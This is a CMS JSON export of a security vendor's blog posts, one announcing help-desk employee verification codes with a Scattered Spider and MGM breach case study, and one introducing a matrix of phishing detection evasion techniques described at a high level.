nodeType":866},{},[115113],{"data":115114,"marks":115115,"value":110559,"nodeType":865},{},[],{"data":115117,"content":115118,"nodeType":1570},{},[115119],{"data":115120,"content":115121,"nodeType":866},{},[115122],{"data":115123,"marks":115124,"value":110569,"nodeType":865},{},[],{"data":115126,"content":115127,"nodeType":1570},{},[115128],{"data":115129,"content":115130,"nodeType":866},{},[115131],{"data":115132,"marks":115133,"value":110579,"nodeType":865},{},[],{"data":115135,"content":115138,"nodeType":912},{"target":115136},{"sys":115137},{"id":110584,"type":909,"linkType":910},[],{"data":115140,"content":115141,"nodeType":866},{},[115142],{"data":115143,"marks":115144,"value":110592,"nodeType":865},{},[],{"data":115146,"content":115147,"nodeType":866},{},[115148,115151,115155],{"data":115149,"marks":115150,"value":110599,"nodeType":865},{},[],{"data":115152,"marks":115153,"value":110137,"nodeType":865},{},[115154],{"type":926},{"data":115156,"marks":115157,"value":110607,"nodeType":865},{},[],{"data":115159,"content":115160,"nodeType":1616},{},[115161,115190,115199,115208,115217,115226],{"data":115162,"content":115163,"nodeType":1570},{},[115164],{"data":115165,"content":115166,"nodeType":866},{},[115167,115170,115177,115180,115187],{"data":115168,"marks":115169,"value":110620,"nodeType":865},{},[],{"data":115171,"content":115172,"nodeType":889},{"uri":110623},[115173],{"data":115174,"marks":115175,"value":110629,"nodeType":865},{},[115176],{"type":943},{"data":115178,"marks":115179,"value":110633,"nodeType":865},{},[],{"data":115181,"content":115182,"nodeType":889},{"uri":110636},[115183],{"data":115184,"marks":115185,"value":110642,"nodeType":865},{},[115186],{"type":943},{"data":115188,"marks":115189,"value":110646,"nodeType":865},{},[],{"data":115191,"content":115192,"nodeType":1570},{},[115193],{"data":115194,"content":115195,"nodeType":866},{},[115196],{"data":115197,"marks":115198,"value":110656,"nodeType":865},{},[],{"data":115200,"content":115201,"nodeType":1570},{},[115202],{"data":115203,"content":115204,"nodeType":866},{},[115205],{"data":115206,"marks":115207,"value":110666,"nodeType":865},{},[],{"data":115209,"content":115210,"nodeType":1570},{},[115211],{"data":115212,"content":115213,"nodeType":866},{},[115214],{"data":115215,"marks":115216,"value":110676,"nodeType":865},{},[],{"data":115218,"content":115219,"nodeType":1570},{},[115220],{"data":115221,"content":115222,"nodeType":866},{},[115223],{"data":115224,"marks":115225,"value":110686,"nodeType":865},{},[],{"data":115227,"content":115228,"nodeType":1570},{},[115229],{"data":115230,"content":115231,"nodeType":866},{},[115232],{"data":115233,"marks":115234,"value":110696,"nodeType":865},{},[],{"data":115236,"content":115239,"nodeType":912},{"target":115237},{"sys":115238},{"id":110701,"type":909,"linkType":910},[],{"data":115241,"content":115242,"nodeType":1317},{},[115243],{"data":115244,"marks":115245,"value":110709,"nodeType":865},{},[],{"data":115247,"content":115248,"nodeType":866},{},[115249],{"data":115250,"marks":115251,"value":110716,"nodeType":865},{},[],{"data":115253,"content":115254,"nodeType":1616},{},[115255,115264,115273,115282,115291,115300],{"data":115256,"content":115257,"nodeType":1570},{},[115258],{"data":115259,"content":115260,"nodeType":866},{},[115261],{"data":115262,"marks":115263,"value":110729,"nodeType":865},{},[],{"data":115265,"content":115266,"nodeType":1570},{},[115267],{"data":115268,"content":115269,"nodeType":866},{},[115270],{"data":115271,"marks":115272,"value":110739,"nodeType":865},{},[],{"data":115274,"content":115275,"nodeType":1570},{},[115276],{"data":115277,"content":115278,"nodeType":866},{},[115279],{"data":115280,"marks":115281,"value":110749,"nodeType":865},{},[],{"data":115283,"content":115284,"nodeType":1570},{},[115285],{"data":115286,"content":115287,"nodeType":866},{},[115288],{"data":115289,"marks":115290,"value":110759,"nodeType":865},{},[],{"data":115292,"content":115293,"nodeType":1570},{},[115294],{"data":115295,"content":115296,"nodeType":866},{},[115297],{"data":115298,"marks":115299,"value":110769,"nodeType":865},{},[],{"data":115301,"content":115302,"nodeType":1570},{},[115303],{"data":115304,"content":115305,"nodeType":866},{},[115306],{"data":115307,"marks":115308,"value":110779,"nodeType":865},{},[],{"data":115310,"content":115311,"nodeType":866},{},[115312],{"data":115313,"marks":115314,"value":110786,"nodeType":865},{},[],{"data":115316,"content":115317,"nodeType":866},{},[115318],{"data":115319,"marks":115320,"value":110793,"nodeType":865},{},[],{"data":115322,"content":115323,"nodeType":866},{},[115324],{"data":115325,"marks":115326,"value":110800,"nodeType":865},{},[],{"data":115328,"content":115331,"nodeType":912},{"target":115329},{"sys":115330},{"id":110805,"type":909,"linkType":910},[],{"data":115333,"content":115334,"nodeType":866},{},[115335],{"data":115336,"marks":115337,"value":110813,"nodeType":865},{},[],{"data":115339,"content":115340,"nodeType":1317},{},[115341],{"data":115342,"marks":115343,"value":110820,"nodeType":865},{},[],{"data":115345,"content":115346,"nodeType":866},{},[115347],{"data":115348,"marks":115349,"value":110827,"nodeType":865},{},[],{"data":115351,"content":115354,"nodeType":912},{"target":115352},{"sys":115353},{"id":110832,"type":909,"linkType":910},[],{"data":115356,"content":115357,"nodeType":1317},{},[115358],{"data":115359,"marks":115360,"value":110840,"nodeType":865},{},[],{"data":115362,"content":115363,"nodeType":866},{},[115364],{"data":115365,"marks":115366,"value":110847,"nodeType":865},{},[],{"data":115368,"content":115369,"nodeType":866},{},[115370],{"data":115371,"marks":115372,"value":110854,"nodeType":865},{},[],{"data":115374,"content":115377,"nodeType":912},{"target":115375},{"sys":115376},{"id":110859,"type":909,"linkType":910},[],{"data":115379,"content":115380,"nodeType":866},{},[115381,115384,115391],{"data":115382,"marks":115383,"value":110867,"nodeType":865},{},[],{"data":115385,"content":115386,"nodeType":889},{"uri":110870},[115387],{"data":115388,"marks":115389,"value":110876,"nodeType":865},{},[115390],{"type":943},{"data":115392,"marks":115393,"value":110880,"nodeType":865},{},[],{"data":115395,"content":115396,"nodeType":1317},{},[115397],{"data":115398,"marks":115399,"value":110887,"nodeType":865},{},[],{"data":115401,"content":115402,"nodeType":866},{},[115403],{"data":115404,"marks":115405,"value":110894,"nodeType":865},{},[],{"data":115407,"content":115408,"nodeType":1616},{},[115409,115418,115427,115436],{"data":115410,"content":115411,"nodeType":1570},{},[115412],{"data":115413,"content":115414,"nodeType":866},{},[115415],{"data":115416,"marks":115417,"value":110907,"nodeType":865},{},[],{"data":115419,"content":115420,"nodeType":1570},{},[115421],{"data":115422,"content":115423,"nodeType":866},{},[115424],{"data":115425,"marks":115426,"value":110917,"nodeType":865},{},[],{"data":115428,"content":115429,"nodeType":1570},{},[115430],{"data":115431,"content":115432,"nodeType":866},{},[115433],{"data":115434,"marks":115435,"value":110927,"nodeType":865},{},[],{"data":115437,"content":115438,"nodeType":1570},{},[115439],{"data":115440,"content":115441,"nodeType":866},{},[115442],{"data":115443,"marks":115444,"value":110937,"nodeType":865},{},[],{"data":115446,"content":115449,"nodeType":912},{"target":115447},{"sys":115448},{"id":110942,"type":909,"linkType":910},[],{"data":115451,"content":115452,"nodeType":972},{},[],{"data":115454,"content":115455,"nodeType":981},{},[115456],{"data":115457,"marks":115458,"value":110954,"nodeType":865},{},[115459],{"type":926},{"data":115461,"content":115462,"nodeType":866},{},[115463,115466,115473,115476],{"data":115464,"marks":115465,"value":110961,"nodeType":865},{},[],{"data":115467,"content":115468,"nodeType":889},{"uri":110964},[115469],{"data":115470,"marks":115471,"value":110970,"nodeType":865},{},[115472],{"type":943},{"data":115474,"marks":115475,"value":2717,"nodeType":865},{},[],{"data":115477,"marks":115478,"value":110978,"nodeType":865},{},[115479],{"type":926},{"data":115481,"content":115482,"nodeType":972},{},[],{"data":115484,"content":115485,"nodeType":981},{},[115486],{"data":115487,"marks":115488,"value":2270,"nodeType":865},{},[115489],{"type":926},{"data":115491,"content":115492,"nodeType":866},{},[115493],{"data":115494,"marks":115495,"value":106196,"nodeType":865},{},[],{"data":115497,"content":115498,"nodeType":866},{},[115499],{"data":115500,"marks":115501,"value":106203,"nodeType":865},{},[],{"data":115503,"content":115504,"nodeType":866},{},[115505,115508,115515],{"data":115506,"marks":115507,"value":104093,"nodeType":865},{},[],{"data":115509,"content":115510,"nodeType":889},{"uri":16069},[115511],{"data":115512,"marks":115513,"value":106217,"nodeType":865},{},[115514],{"type":943},{"data":115516,"marks":115517,"value":21,"nodeType":865},{},[],{"items":115519},[115520,115522],{"sys":115521,"name":342},{"id":4642},{"sys":115523,"name":7796},{"id":7795},{"items":115525},[115526],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":115527},{"url":6503},{"__typename":1429,"sys":115529,"content":115530,"title":87659,"synopsis":115872,"hashTags":59,"publishedDate":115873,"slug":87660,"tagsCollection":115874,"authorsCollection":115878},{"id":80645},{"json":115531},{"data":115532,"content":115533,"nodeType":1382},{},[115534,115541,115548,115555,115561,115568,115601,115608,115615,115622,115628,115635,115642,115660,115665,115672,115692,115710,115717,115724,115731,115738,115745,115752,115759,115779,115786,115793,115799,115805,115812,115836,115842,115860,115866],{"data":115535,"content":115536,"nodeType":866},{},[115537],{"data":115538,"marks":115539,"value":115540,"nodeType":865},{},[],"Scattered Spider has shown the world the devastating effects attackers can achieve by socially engineering IT help desks into performing MFA resets so they can take over accounts on sensitive corporate apps. ",{"data":115542,"content":115543,"nodeType":866},{},[115544],{"data":115545,"marks":115546,"value":115547,"nodeType":865},{},[],"That’s why we’re introducing Employee Identity Verification Codes — a simple, browser-based identity check that gives your help desk a reliable way to confirm they’re talking to someone from your organization.",{"data":115549,"content":115550,"nodeType":866},{},[115551],{"data":115552,"marks":115553,"value":115554,"nodeType":865},{},[],"Push now provides your employees with a rotating 6-digit verification code in their browser via the Push Security extension. When an employee contacts your IT help desk to request an MFA reset or access recovery, the help desk can ask for this code to verify their identity — ensuring it’s really them, and not an attacker.",{"data":115556,"content":115560,"nodeType":912},{"target":115557},{"sys":115558},{"id":115559,"type":909,"linkType":910},"3PkiGgzwSt9Nb5rsGRiQVZ",[],{"data":115562,"content":115563,"nodeType":866},{},[115564],{"data":115565,"marks":115566,"value":115567,"nodeType":865},{},[],"The employee identity verification codes are:",{"data":115569,"content":115570,"nodeType":1616},{},[115571,115581,115591],{"data":115572,"content":115573,"nodeType":1570},{},[115574],{"data":115575,"content":115576,"nodeType":866},{},[115577],{"data":115578,"marks":115579,"value":115580,"nodeType":865},{},[],"Session-aware - generated in users’ browsers and only visible to them when they click on the Push Security extension icon in their browser toolbar.",{"data":115582,"content":115583,"nodeType":1570},{},[115584],{"data":115585,"content":115586,"nodeType":866},{},[115587],{"data":115588,"marks":115589,"value":115590,"nodeType":865},{},[],"Rotating: they change every 24 hours",{"data":115592,"content":115593,"nodeType":1570},{},[115594],{"data":115595,"content":115596,"nodeType":866},{},[115597],{"data":115598,"marks":115599,"value":115600,"nodeType":865},{},[],"Lightweight: no additional apps or devices required",{"data":115602,"content":115603,"nodeType":866},{},[115604],{"data":115605,"marks":115606,"value":115607,"nodeType":865},{},[],"It’s a fast, simple verification method — directly in the employee’s browser — that addresses a real-world threat.",{"data":115609,"content":115610,"nodeType":981},{},[115611],{"data":115612,"marks":115613,"value":115614,"nodeType":865},{},[],"We think it’s swell, but don’t just take our word for it …",{"data":115616,"content":115617,"nodeType":866},{},[115618],{"data":115619,"marks":115620,"value":115621,"nodeType":865},{},[],"Eric Rubin — a Senior Manager in GitLab’s Corporate Security team — has already rolled out Employee Identity Verification Codes across his workforce. Here’s what he had to say about it:",{"data":115623,"content":115627,"nodeType":912},{"target":115624},{"sys":115625},{"id":115626,"type":909,"linkType":910},"5ZLaA869NXpMjVwkswEyOB",[],{"data":115629,"content":115630,"nodeType":866},{},[115631],{"data":115632,"marks":115633,"value":115634,"nodeType":865},{},[],"Thank you, Eric!",{"data":115636,"content":115637,"nodeType":981},{},[115638],{"data":115639,"marks":115640,"value":115641,"nodeType":865},{},[],"Why are help desk identity verification methods so hot right now?",{"data":115643,"content":115644,"nodeType":866},{},[115645,115649,115656],{"data":115646,"marks":115647,"value":115648,"nodeType":865},{},[],"A number of the high-profile incidents attributed to the ",{"data":115650,"content":115651,"nodeType":889},{"uri":54299},[115652],{"data":115653,"marks":115654,"value":115655,"nodeType":865},{},[],"Scattered Spider cybercriminal group",{"data":115657,"marks":115658,"value":115659,"nodeType":865},{},[]," saw them socially engineer IT help desks into resetting MFA on employee accounts that they had already acquired valid credentials for. These compromised accounts were typically on IdP systems like Okta providing SSO access to large numbers of downstream applications.",{"data":115661,"content":115664,"nodeType":912},{"target":115662},{"sys":115663},{"id":54408,"type":909,"linkType":910},[],{"data":115666,"content":115667,"nodeType":1317},{},[115668],{"data":115669,"marks":115670,"value":115671,"nodeType":865},{},[],"Case study: The MGM Resorts breach",{"data":115673,"content":115674,"nodeType":866},{},[115675,115679,115688],{"data":115676,"marks":115677,"value":115678,"nodeType":865},{},[],"One of Scattered Spider’s most notorious and well-documented attacks was against ",{"data":115680,"content":115682,"nodeType":889},{"uri":115681},"https://pushsecurity.com/blog/identity-attacks-in-the-wild/#id-mgm-resorts-september-2023",[115683],{"data":115684,"marks":115685,"value":115687,"nodeType":865},{},[115686],{"type":943},"MGM Resorts",{"data":115689,"marks":115690,"value":115691,"nodeType":865},{},[],". Scattered Spider socially engineered MGM Resorts’ help desk personnel to bypass MFA and log in to accounts for which they had acquired valid login credentials via credential phishing and historical infostealer compromises. ",{"data":115693,"content":115694,"nodeType":866},{},[115695,115699,115706],{"data":115696,"marks":115697,"value":115698,"nodeType":865},{},[],"They specifically targeted accounts with Super Administrator privileges within MGM Resorts’ Okta tenant, which they then used to register a second, attacker-controlled IdP via ",{"data":115700,"content":115701,"nodeType":889},{"uri":53413},[115702],{"data":115703,"marks":115704,"value":53419,"nodeType":865},{},[115705],{"type":943},{"data":115707,"marks":115708,"value":115709,"nodeType":865},{},[],". This then enabled them to impersonate any user within the Okta tenant. ",{"data":115711,"content":115712,"nodeType":866},{},[115713],{"data":115714,"marks":115715,"value":115716,"nodeType":865},{},[],"The attackers were then able to abuse SSO access to downstream apps and platforms from various accounts, culminating in deployment of ransomware to around 100 ESXi servers and data exfiltration. ",{"data":115718,"content":115719,"nodeType":866},{},[115720],{"data":115721,"marks":115722,"value":115723,"nodeType":865},{},[],"The breach resulted in a 36-hour outage, a $100M hit to its Q3 results, one-time cyber consulting fees in the region of $10M, and a class-action lawsuit later settled for $45M. ",{"data":115725,"content":115726,"nodeType":1317},{},[115727],{"data":115728,"marks":115729,"value":115730,"nodeType":865},{},[],"Reassessing help desk verification processes",{"data":115732,"content":115733,"nodeType":866},{},[115734],{"data":115735,"marks":115736,"value":115737,"nodeType":865},{},[],"Scattered Spider’s high-profile attacks — including its most recent against UK retailers Marks & Spencer’s and the Co-op — has prompted many security teams to reassess the verification processes used by their IT help desks when an employee requests an MFA reset or access to sensitive applications. ",{"data":115739,"content":115740,"nodeType":866},{},[115741],{"data":115742,"marks":115743,"value":115744,"nodeType":865},{},[],"Initial guidance from across the industry included the use of call-back verification for any MFA or credential changes requested by an employee. However, Scattered Spider are also known to use SIM-swapping to trick mobile carriers into transferring a victim’s phone number to a SIM card controlled by the attacker - thereby allowing them to intercept verification calls. ",{"data":115746,"content":115747,"nodeType":981},{},[115748],{"data":115749,"marks":115750,"value":115751,"nodeType":865},{},[],"Simple verification using your employees’ browsers",{"data":115753,"content":115754,"nodeType":866},{},[115755],{"data":115756,"marks":115757,"value":115758,"nodeType":865},{},[],"Push already provides several controls that directly align to the other TTPs used by Scattered Spider. They include detecting stolen credentials, cloned login pages, AitM toolkits and compromised IdP sessions. ",{"data":115760,"content":115761,"nodeType":866},{},[115762,115766,115775],{"data":115763,"marks":115764,"value":115765,"nodeType":865},{},[],"(BTW, if this piques your interest, you can ",{"data":115767,"content":115769,"nodeType":889},{"uri":115768},"https://pushsecurity.com/resources?type=webinar#content",[115770],{"data":115771,"marks":115772,"value":115774,"nodeType":865},{},[115773],{"type":943},"stream our latest webinar",{"data":115776,"marks":115777,"value":115778,"nodeType":865},{},[]," where we deep-dive into Scattered Spider, how their TTPs are evolving in 2025, and what Push is doing to protect organizations against them.) ",{"data":115780,"content":115781,"nodeType":866},{},[115782],{"data":115783,"marks":115784,"value":115785,"nodeType":865},{},[],"But to provide our customers with an additional layer of defense against the Scattered Spider attack chain, we wanted to see how we could make it harder for attackers to socially engineer IT help desks into gaining access to IdP systems and sensitive apps.",{"data":115787,"content":115788,"nodeType":866},{},[115789],{"data":115790,"marks":115791,"value":115792,"nodeType":865},{},[],"As so often is the case, the answer was staring us right in the face - we can use our browser extension. By placing a verification code in the details tray of every employees’ Push extension, they can use that to verify their identity with their help desk team.",{"data":115794,"content":115798,"nodeType":912},{"target":115795},{"sys":115796},{"id":115797,"type":909,"linkType":910},"4hRJVGqKGyOHJ8NSsQYWGP",[],{"data":115800,"content":115801,"nodeType":981},{},[115802],{"data":115803,"marks":115804,"value":54483,"nodeType":865},{},[],{"data":115806,"content":115807,"nodeType":866},{},[115808],{"data":115809,"marks":115810,"value":115811,"nodeType":865},{},[],"Employee verification codes is a Labs feature, which means it’s available on an early-access basis. We're particularly interested in hearing your feedback on how to develop this feature further.",{"data":115813,"content":115814,"nodeType":866},{},[115815,115819,115823,115827,115832],{"data":115816,"marks":115817,"value":115818,"nodeType":865},{},[],"You can enable Labs features by going to the ",{"data":115820,"marks":115821,"value":58582,"nodeType":865},{},[115822],{"type":926},{"data":115824,"marks":115825,"value":115826,"nodeType":865},{},[]," page of the Push admin console and choosing the ",{"data":115828,"marks":115829,"value":115831,"nodeType":865},{},[115830],{"type":926},"Labs",{"data":115833,"marks":115834,"value":115835,"nodeType":865},{},[]," tab.",{"data":115837,"content":115841,"nodeType":912},{"target":115838},{"sys":115839},{"id":115840,"type":909,"linkType":910},"6TyqP2eOmalIF6RRoe476Y",[],{"data":115843,"content":115844,"nodeType":866},{},[115845,115849,115856],{"data":115846,"marks":115847,"value":115848,"nodeType":865},{},[],"If you’d like to find out more about this feature, and the other ways Push is stopping identity attacks in the browser, ",{"data":115850,"content":115851,"nodeType":889},{"uri":16069},[115852],{"data":115853,"marks":115854,"value":14066,"nodeType":865},{},[115855],{"type":943},{"data":115857,"marks":115858,"value":115859,"nodeType":865},{},[]," with one of our team. ",{"data":115861,"content":115865,"nodeType":912},{"target":115862},{"sys":115863},{"id":115864,"type":909,"linkType":910},"7xBE9MrnMy3hfwIkhLhNhQ",[],{"data":115867,"content":115868,"nodeType":866},{},[115869],{"data":115870,"marks":115871,"value":21,"nodeType":865},{},[],"Push's new Employee Identity Verification Codes feature is a simple way for your help desk to confirm they’re talking to someone from your organization.\n","2025-06-19T00:00:00.000Z",{"items":115875},[115876],{"sys":115877,"name":297},{"id":2310},{"items":115879},[115880],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":115881},{"url":4618},{"__typename":1429,"sys":115883,"content":115884,"title":87595,"synopsis":116428,"hashTags":59,"publishedDate":116429,"slug":87596,"tagsCollection":116430,"authorsCollection":116436},{"id":79640},{"json":115885},{"data":115886,"content":115887,"nodeType":1382},{},[115888,115907,115914,115937,115944,115951,115958,115977,115983,115986,115994,116001,116021,116064,116107,116137,116157,116162,116165,116173,116180,116187,116194,116201,116324,116331,116334,116341,116358,116375,116378,116386,116403,116410],{"data":115889,"content":115890,"nodeType":866},{},[115891,115895,115903],{"data":115892,"marks":115893,"value":115894,"nodeType":865},{},[],"Almost two years ago, we released our ",{"data":115896,"content":115897,"nodeType":889},{"uri":13171},[115898],{"data":115899,"marks":115900,"value":115902,"nodeType":865},{},[115901],{"type":943},"SaaS attacks matrix",{"data":115904,"marks":115905,"value":115906,"nodeType":865},{},[]," on GitHub. At the time, our research into modern attack patterns showed us that attackers were increasingly relying on cloud-native techniques, taking advantage of the shift in business IT from traditional on-premise networks to a web of third-party services accessed over the internet. ",{"data":115908,"content":115909,"nodeType":866},{},[115910],{"data":115911,"marks":115912,"value":115913,"nodeType":865},{},[],"As part of our work in maintaining and updating the SaaS attacks matrix in line with our own research and attacks in the wild, we identified that:",{"data":115915,"content":115916,"nodeType":1616},{},[115917,115927],{"data":115918,"content":115919,"nodeType":1570},{},[115920],{"data":115921,"content":115922,"nodeType":866},{},[115923],{"data":115924,"marks":115925,"value":115926,"nodeType":865},{},[],"The fastest growing category since day 1 has been initial access, which is entirely driven by identity-based techniques (i.e. logging into apps).",{"data":115928,"content":115929,"nodeType":1570},{},[115930],{"data":115931,"content":115932,"nodeType":866},{},[115933],{"data":115934,"marks":115935,"value":115936,"nodeType":865},{},[],"Phishing in various forms is the most widely used, and generally effective, of all the initial access techniques we encounter. ",{"data":115938,"content":115939,"nodeType":866},{},[115940],{"data":115941,"marks":115942,"value":115943,"nodeType":865},{},[],"It’s increasingly difficult to reflect a lot of the research we’re doing within the parameters of the SaaS attacks matrix when attackers are doing so much (and to varying levels) in how they architect their phishing sites, distribute links and lures, and find novel ways around authentication and access controls. ",{"data":115945,"content":115946,"nodeType":866},{},[115947],{"data":115948,"marks":115949,"value":115950,"nodeType":865},{},[],"Equally, while there’s a huge amount of valuable research and deep-dive analysis of how individual phishing kits are behaving produced by security firms, there’s a gap in how we’re bringing together this knowledge and understanding the broad strokes of why and how phishing attacks are still so successful.  ",{"data":115952,"content":115953,"nodeType":866},{},[115954],{"data":115955,"marks":115956,"value":115957,"nodeType":865},{},[],"We come across so many phishing attacks on a daily basis that it’s impossible to write a deep-dive teardown on every one — and to some extent it wouldn’t be useful to do so. What’s arguably more valuable is understanding the patterns and commonalities across phishing campaigns that can help us to understand, generally, how malicious tooling and tradecraft is evolving. ",{"data":115959,"content":115960,"nodeType":866},{},[115961,115965,115973],{"data":115962,"marks":115963,"value":115964,"nodeType":865},{},[],"So, we decided to ",{"data":115966,"content":115967,"nodeType":889},{"uri":79729},[115968],{"data":115969,"marks":115970,"value":115972,"nodeType":865},{},[115971],{"type":943},"create a new resource",{"data":115974,"marks":115975,"value":115976,"nodeType":865},{},[]," giving phishing the space to breathe that it deserves. ",{"data":115978,"content":115982,"nodeType":912},{"target":115979},{"sys":115980},{"id":115981,"type":909,"linkType":910},"7rK8RR8KKQ9DbBouZKnjs6",[],{"data":115984,"content":115985,"nodeType":972},{},[],{"data":115987,"content":115988,"nodeType":981},{},[115989],{"data":115990,"marks":115991,"value":115993,"nodeType":865},{},[115992],{"type":926},"How phishing has evolved",{"data":115995,"content":115996,"nodeType":866},{},[115997],{"data":115998,"marks":115999,"value":116000,"nodeType":865},{},[],"It’s easy to write off phishing as unsophisticated and simplistic, particularly when we think back to the first generation of phishing attacks — static HTML pages purely designed to steal your username and password, linked directly from an email. ",{"data":116002,"content":116003,"nodeType":866},{},[116004,116008,116017],{"data":116005,"marks":116006,"value":116007,"nodeType":865},{},[],"Modern phishing has changed a lot in the past decade or so. ",{"data":116009,"content":116011,"nodeType":889},{"uri":116010},"https://phishing-techniques.pushsecurity.com/techniques/aitm-phishing/",[116012],{"data":116013,"marks":116014,"value":116016,"nodeType":865},{},[116015],{"type":943},"MFA-bypassing  Attacker-in-the-Middle (AitM) kits",{"data":116018,"marks":116019,"value":116020,"nodeType":865},{},[]," are table stakes — anyone can pick up a copy of Evilginx and immediately blow past most email and network security solutions on the market.  ",{"data":116022,"content":116023,"nodeType":866},{},[116024,116028,116036,116040,116048,116052,116060],{"data":116025,"marks":116026,"value":116027,"nodeType":865},{},[],"But the most sophisticated attacks — the ones that usually hit the headlines in the form of major breaches — are doing much more than this. The latest generation of fully customized AitM phishing kits are ",{"data":116029,"content":116030,"nodeType":889},{"uri":106399},[116031],{"data":116032,"marks":116033,"value":116035,"nodeType":865},{},[116034],{"type":943},"dynamically obfuscating the code that loads the web page",{"data":116037,"marks":116038,"value":116039,"nodeType":865},{},[],", implementing ",{"data":116041,"content":116042,"nodeType":889},{"uri":96065},[116043],{"data":116044,"marks":116045,"value":116047,"nodeType":865},{},[116046],{"type":943},"bot protection through custom CAPTCHA",{"data":116049,"marks":116050,"value":116051,"nodeType":865},{},[],", and using ",{"data":116053,"content":116054,"nodeType":889},{"uri":86190},[116055],{"data":116056,"marks":116057,"value":116059,"nodeType":865},{},[116058],{"type":943},"runtime anti-analysis features",{"data":116061,"marks":116062,"value":116063,"nodeType":865},{},[],", making them increasingly difficult to detect by the tools most enterprises are using to combat the problem. ",{"data":116065,"content":116066,"nodeType":866},{},[116067,116071,116078,116082,116091,116095,116103],{"data":116068,"marks":116069,"value":116070,"nodeType":865},{},[],"The techniques used by attackers to deliver phishing lures are also more sophisticated. Groups like Scattered Spider have been seen using ",{"data":116072,"content":116073,"nodeType":889},{"uri":66817},[116074],{"data":116075,"marks":116076,"value":441,"nodeType":865},{},[116077],{"type":943},{"data":116079,"marks":116080,"value":116081,"nodeType":865},{},[]," techniques, delivering phishing links via paid Google ads, while phishing campaigns are frequently encountered in ",{"data":116083,"content":116085,"nodeType":889},{"uri":116084},"https://phishing-techniques.pushsecurity.com/techniques/instant-messenger/",[116086],{"data":116087,"marks":116088,"value":116090,"nodeType":865},{},[116089],{"type":943},"IM apps",{"data":116092,"marks":116093,"value":116094,"nodeType":865},{},[]," (such as Slack and Teams), as well as ",{"data":116096,"content":116097,"nodeType":889},{"uri":100059},[116098],{"data":116099,"marks":116100,"value":116102,"nodeType":865},{},[116101],{"type":943},"public messaging services",{"data":116104,"marks":116105,"value":116106,"nodeType":865},{},[]," like LinkedIn messenger and Reddit — bypassing email altogether. ",{"data":116108,"content":116109,"nodeType":866},{},[116110,116114,116123,116127,116134],{"data":116111,"marks":116112,"value":116113,"nodeType":865},{},[],"The latest trends indicate that attackers are responding to increasingly hardened IdP/SSO configuration by using alternative phishing techniques that circumvent MFA and passkeys, either by ",{"data":116115,"content":116117,"nodeType":889},{"uri":116116},"https://phishing-techniques.pushsecurity.com/techniques/mfa-downgrade/",[116118],{"data":116119,"marks":116120,"value":116122,"nodeType":865},{},[116121],{"type":943},"downgrading to a backup (less secure) authentication method",{"data":116124,"marks":116125,"value":116126,"nodeType":865},{},[],", or sidestepping the legitimate auth process entirely through methods like ",{"data":116128,"content":116129,"nodeType":889},{"uri":66861},[116130],{"data":116131,"marks":116132,"value":66867,"nodeType":865},{},[116133],{"type":943},{"data":116135,"marks":116136,"value":14251,"nodeType":865},{},[],{"data":116138,"content":116139,"nodeType":866},{},[116140,116144,116153],{"data":116141,"marks":116142,"value":116143,"nodeType":865},{},[],"Attackers have also realized how much valuable data exists in Shadow SaaS highlighted by major SaaS breaches impacting apps like Snowflake. This is driving ",{"data":116145,"content":116147,"nodeType":889},{"uri":116146},"https://phishing-techniques.pushsecurity.com/techniques/saas-admins/",[116148],{"data":116149,"marks":116150,"value":116152,"nodeType":865},{},[116151],{"type":943},"broader targeting against apps like Slack, Mailchimp, Postman, GitHub, and other commonly-used business apps directly",{"data":116154,"marks":116155,"value":116156,"nodeType":865},{},[]," — bypassing IdPs (MS, Google, Okta, etc.) that typically have more robust authentication controls in place.",{"data":116158,"content":116161,"nodeType":912},{"target":116159},{"sys":116160},{"id":102612,"type":909,"linkType":910},[],{"data":116163,"content":116164,"nodeType":972},{},[],{"data":116166,"content":116167,"nodeType":981},{},[116168],{"data":116169,"marks":116170,"value":116172,"nodeType":865},{},[116171],{"type":926},"Using the phishing detection evasion techniques matrix",{"data":116174,"content":116175,"nodeType":866},{},[116176],{"data":116177,"marks":116178,"value":116179,"nodeType":865},{},[],"With so much attacker innovation happening in the phishing space, it’s tricky for security teams and solution vendors to have a big picture view of the subtle changes attackers are making to their phishing attacks, and precisely why they’re doing it — or more specifically, which detection techniques they’re evading. ",{"data":116181,"content":116182,"nodeType":866},{},[116183],{"data":116184,"marks":116185,"value":116186,"nodeType":865},{},[],"If you look at one of the many phishing kit teardowns found in security blogs online (including our own) it can be hard to see the wood for the trees when it comes to understanding why a phishing page behaves in the way it does — why is it behaving in this way? What control exactly is this trying to get around? ",{"data":116188,"content":116189,"nodeType":866},{},[116190],{"data":116191,"marks":116192,"value":116193,"nodeType":865},{},[],"By creating a simple framework breaking down the categories of a phishing attack into phases, each with its own specific attacker objective, we can better understand phishing kit behavior and track meaningful changes over time. This ensures that we understand how we need to adapt to as an industry in order to detect and block these attacks. ",{"data":116195,"content":116196,"nodeType":866},{},[116197],{"data":116198,"marks":116199,"value":116200,"nodeType":865},{},[],"The matrix covers the following categories:",{"data":116202,"content":116203,"nodeType":1616},{},[116204,116219,116234,116249,116264,116279,116294,116309],{"data":116205,"content":116206,"nodeType":1570},{},[116207],{"data":116208,"content":116209,"nodeType":866},{},[116210,116215],{"data":116211,"marks":116212,"value":116214,"nodeType":865},{},[116213],{"type":926},"Phase 1: Targeting",{"data":116216,"marks":116217,"value":116218,"nodeType":865},{},[]," — Identifying apps and users to evade security controls and achieve the shortest time-to-impact of a phishing attack. ",{"data":116220,"content":116221,"nodeType":1570},{},[116222],{"data":116223,"content":116224,"nodeType":866},{},[116225,116230],{"data":116226,"marks":116227,"value":116229,"nodeType":865},{},[116228],{"type":926},"Phase 2: Link delivery",{"data":116231,"marks":116232,"value":116233,"nodeType":865},{},[]," — Deliver links using phishing vectors that evade traditional security controls. ",{"data":116235,"content":116236,"nodeType":1570},{},[116237],{"data":116238,"content":116239,"nodeType":866},{},[116240,116245],{"data":116241,"marks":116242,"value":116244,"nodeType":865},{},[116243],{"type":926},"Phase 3: Link camouflage",{"data":116246,"marks":116247,"value":116248,"nodeType":865},{},[]," — Masking malicious links to prevent detection at the email, network proxy, or safe browsing layer. ",{"data":116250,"content":116251,"nodeType":1570},{},[116252],{"data":116253,"content":116254,"nodeType":866},{},[116255,116260],{"data":116256,"marks":116257,"value":116259,"nodeType":865},{},[116258],{"type":926},"Phase 4: TI evasion ",{"data":116261,"marks":116262,"value":116263,"nodeType":865},{},[],"— Preventing TI feeds from flagging and blocking known-bad domains by masking or changing elements likely to be 